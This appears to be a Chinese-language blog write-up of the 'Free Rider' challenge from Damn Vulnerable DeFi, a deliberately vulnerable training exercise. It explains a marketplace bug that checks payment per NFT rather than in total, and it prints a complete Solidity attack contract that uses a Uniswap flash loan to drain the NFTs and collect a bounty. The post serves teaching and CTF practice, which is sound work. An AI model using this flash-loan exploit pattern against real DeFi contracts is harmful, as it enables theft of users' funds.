moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:該死的易受攻擊DeFi (十) - 免費搭便車者

該死的脆弱 DeFi 是一個 DeFi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScript 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/10.html

題目描述:

現有已經發布的該死的有價 NFT 交易市場,初始 mint 了 6 個 NFT,並且可以在交易市場上出售,售價為 15ETH。

有個買家告訴了你一個秘密:市場是脆弱的,所有的代幣都可以被拿走。然而,他並不知道怎麼做。為此願意提供 45 ETH 的獎勵給取出 NFT 並發送給他的人。

你想在這個買家那裡建立一些名聲,所以你已經同意了這個計劃。

遺憾的是你只有 0.5 ETH。要是有一個地方你可以免費獲得 ETH 就好了,暫時性的也可以。

FreeRiderBuyer.sol#

買家合約

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {

    using Address for address payable;
    address private immutable partner;
    IERC721 private immutable nft;
    uint256 private constant JOB_PAYOUT = 45 ether;
    uint256 private received;
    
    // 部署時向該合約轉入了 45eth
    constructor(address _partner, address _nft) payable {
        require(msg.value == JOB_PAYOUT);
        partner = _partner;
        nft = IERC721(_nft);
        IERC721(_nft).setApprovalForAll(msg.sender, true);
    }
    
    // 接收到NFT時觸發的函數
    function onERC721Received(
        address,
        address,
        uint256 _tokenId,
        bytes memory
    ) 
        external
        override
        nonReentrant
        returns (bytes4) 
    {
        require(msg.sender == address(nft));
        require(tx.origin == partner); // 確保交易的發起人是partner
        require(_tokenId >= 0 && _tokenId <= 5);
        require(nft.ownerOf(_tokenId) == address(this)); // 確保已持有
        
        received++;
        // 接收到6個NFT後將45eth轉給partner
        if(received == 6) {            
            payable(partner).sendValue(JOB_PAYOUT);
        }            
        return IERC721Receiver.onERC721Received.selector;
    }
}

由於該合約繼承自 IERC721Receiver ,且 NFT 合約繼承自 ERC721

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}

意味著當 NFT 合約調用 safeTransferFromto 地址是該合約時,會觸發 onERC721Received 函數。

safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)

safeTransferFrom 內部會判斷 to 是否是合約地址,是的話則會調用 onERC721Received

FreeRiderNFTMarketplace.sol#

交易合約,繼承自 ReentrancyGuard, 用於防止重入攻擊。

構造函數中創建了一個 DamnValuableNFT 合約,並 mintamountToMint 數量的 NFT 給了合約部署者

constructor(uint8 amountToMint) payable {
    require(amountToMint < 256, "Cannot mint that many tokens");
    token = new DamnValuableNFT();

    for(uint8 i = 0; i < amountToMint; i++) {
        token.safeMint(msg.sender);
    }        
}

該合約提供了兩種功能

  • 批量出售 offerMany
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
    require(tokenIds.length > 0 && tokenIds.length == prices.length);
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _offerOne(tokenIds[i], prices[i]);
    }
}

function _offerOne(uint256 tokenId, uint256 price) private {
    // 確保出價 > 0
    require(price > 0, "Price must be greater than zero");
    // 出售者必須是持有該NFT
    require(msg.sender == token.ownerOf(tokenId), "Account offering must be the owner");
    
    // 確保已授權
    require(
        token.getApproved(tokenId) == address(this) ||
        token.isApprovedForAll(msg.sender, address(this)),
        "Account offering must have approved transfer"
    );
    // 記錄價格
    offers[tokenId] = price;

    amountOfOffers++;

    emit NFTOffered(msg.sender, tokenId, price);
}

NFT 持有人調用該方法,除了基本的校驗之外,還會授權該合約可以對持有人持有的 NFT 進行操作。

最後將報價保存到 offers[tokenId],當有人購買時,由於持有人已經授權了該合約可以操作其所持有的 NFT,故在收到付款後,該合約可以直接將持有人的 NFT 轉給購買人。

  • 批量購買 buyMany
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _buyOne(tokenIds[i]);
    }
}

function _buyOne(uint256 tokenId) private {
    // 獲取價格
    uint256 priceToPay = offers[tokenId];
    // 確保轉入的價格不少於售價
    require(priceToPay > 0, "Token is not being offered");
    require(msg.value >= priceToPay, "Amount paid is not enough");

    amountOfOffers--;

    // 將 NFT 轉給購買人
    token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

    // 將收到的 ETH 轉給賣方
    payable(token.ownerOf(tokenId)).sendValue(priceToPay);

    emit NFTBought(msg.sender, tokenId, priceToPay);
}

當有賣家在交易合約中出售其持有的 NFT 後,買家就可以執行購買流程,首先獲取價格,並確保收到的 ETH 不低於售價,之後由該合約將賣家持有的 NFT 轉給買家並將收到的 ETH 轉給賣家。

批量購買功能其實有個明顯的問題,在檢查收到的 ETH 要不少於售價時 require(msg.value >= priceToPay, "Amount paid is not enough"); 檢查的是單個 NFT 的價格,而不是批量購買的總額。而且 ETH 轉給賣方的時候用的是合約內的餘額。

例如交易合約持有100ETH, 賣家出售其持有的 tokenId 為 1, 2, 3 的 NFT,價格分別為 1ETH, 5ETH, 3ETH。此時買家購買調用 buyMany 應付的價格為 9ETH,但實際上僅需要支付5ETH(購買價最高的 tokenId 的價格)就能滿足 require 的檢查。此時交易合約共持有105ETH 。轉賬時,交易合約共向賣方們轉了9ETH。即買方購買時少付的 ETH 由交易合約的餘額補上了。

在本題中,NFT 的單價為15ETH,因此只需要付15ETH即可購買 6 個NFT,而不是90ETH。但你只有0.5ETH。因此要想辦法獲得 ETH ,通過 uniswap 的閃電貸就是不錯的方法:

  • 通過閃電貸借出15WETH,並將 WETH 換成 ETH
  • 使用 ETH 購買 NFT,並將購買的 NFT 發送給 FreeRiderBuyer,收到45ETH的獎勵。
  • 最後將 ETH 換回 WETH,算上閃電貸的費率還清閃電貸的借款

由於這些操作需要再一筆交易中完成,因此需要寫一個攻擊合約,不過在此之前需要先看下測試文件 free-rider.challenge.js 做了哪些初始化:

  • attacker 發送了 0.5ETH
  • 部署合約 WETHDVTuniswapFactoryuniswapRouter
  • 通過調用 uniswapRouter 合約的方法 addLiquidityETH 添加流動性,該方法內部會創建配對合約 uniswapPair,配對的幣種是WETH-DVT ,添加的流動性為 9000WETH15000DVT
  • 部署合約 FreeRiderNFTMarketplace,並轉入90ETH
  • 部署 NFT 合約
  • 在交易合約中創建賣單出售 tokenId 為 0~5 的 NFT ,每個價格都為 15ETH
  • 部署合約 FreeRiderBuyer 並轉入45ETH

攻擊合約代碼如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";

contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
  
  FreeRiderBuyer buyer;
  FreeRiderNFTMarketplace marketplace;

  IUniswapV2Pair pair;
  IWETH weth;
  DamnValuableNFT nft;
  address attacker;

  uint256[] tokenIds = [0, 1, 2, 3, 4, 5];

  constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
    buyer = FreeRiderBuyer(_buyer);
    marketplace = FreeRiderNFTMarketplace(_marketplace);

    pair = IUniswapV2Pair(_pair);
    weth = IWETH(_weth);
    nft = DamnValuableNFT(_nft);

    attacker = msg.sender;
  }

  function attack(uint amount) external {
    // 配對合約: WETH-DVT
    // 通過 uniswap 閃電貸借出 amount 數量的 WETH
    // 注意: 最後一個參數不能為空,不然就不會執行閃電貸的回調
    pair.swap(amount, 0, address(this), "x");
  }

  // uniswap 閃電貸回調
  function uniswapV2Call(
    address sender,
    uint amount0,
    uint amount1,
    bytes calldata data
  ) external {
    // 將借出的 WETH 轉成 ETH
    weth.withdraw(amount0);

    // 將借出的15ETH轉給交易合約用於購買tokenId為0~5的NFT
    marketplace.buyMany{value: amount0}(tokenIds);

    // 將購買的NFT轉給buyer, 並得到 45 ETH
    for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
      nft.safeTransferFrom(address(this), address(buyer), tokenId);
    }

    // 計算閃電貸要還的費用, 並將要還的部分轉成 weth
    uint fee = amount0 * 3 / 997 + 1;
    weth.deposit{value: fee + amount0}();

    // 返還閃電貸
    weth.transfer(address(pair), fee + amount0);

    // 將剩餘的 eth 轉給 attacker
    payable(address(attacker)).transfer(address(this).balance);
  }

  receive() external payable {}

  function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
      return IERC721Receiver.onERC721Received.selector;
  }
}

在測試文件 free-rider.challenge.js 添加執行入口

it('Exploit', async function () {
  const freeRiderAttack = await (await ethers.getContractFactory('FreeRiderAttack', attacker)).deploy(
    this.buyerContract.address,
    this.marketplace.address,
    this.uniswapPair.address,
    this.weth.address,
    this.nft.address
  )
  await freeRiderAttack.attack(NFT_PRICE)
})

最後執行 yarn free-rider 測試通過!

完整代碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。